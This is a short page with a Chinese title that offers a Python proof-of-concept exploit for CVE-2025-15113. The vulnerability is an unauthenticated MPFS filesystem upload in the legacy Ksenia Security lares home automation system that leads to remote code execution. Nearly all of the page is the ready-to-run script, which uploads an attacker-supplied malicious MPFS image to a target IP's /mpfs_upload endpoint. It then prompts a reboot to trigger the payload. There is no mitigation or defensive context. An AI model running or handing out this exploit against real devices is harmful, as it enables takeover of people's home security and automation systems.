CVE-2025-15113 Ksenia Security lares家庭自动化系统未授权文件上传导致RCE漏洞

import requests import sys # CVE-2025-15113 PoC - Ksenia Security lares MPFS Upload RCE # Target: Ksenia Security lares (legacy model) Home Automation def exploit_mpfs_upload(target_ip, malicious_mpfs_file): """ Exploit the unprotected MPFS upload endpoint """ upload_url = f"http://{target_ip}/mpfs_upload" try: with open(malicious_mpfs_file, 'rb') as f: mpfs_data = f.read() files = {'mpfs_image': ('exploit.mpfs', mpfs_data, 'application/octet-stream')} print(f"[*] Uploading malicious MPFS to {target_ip}...") response = requests.post(upload_url, files=files, timeout=30) if response.status_code == 200: print("[+] MPFS upload successful!") print("[*] Device will now load the malicious filesystem...") print("[*] Reboot device to trigger payload execution") return True else: print(f"[-] Upload failed with status: {response.status_code}") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <target_ip> <malicious_mpfs_file>") sys.exit(1) target = sys.argv[1] mpfs_file = sys.argv[2] exploit_mpfs_upload(target, mpfs_file)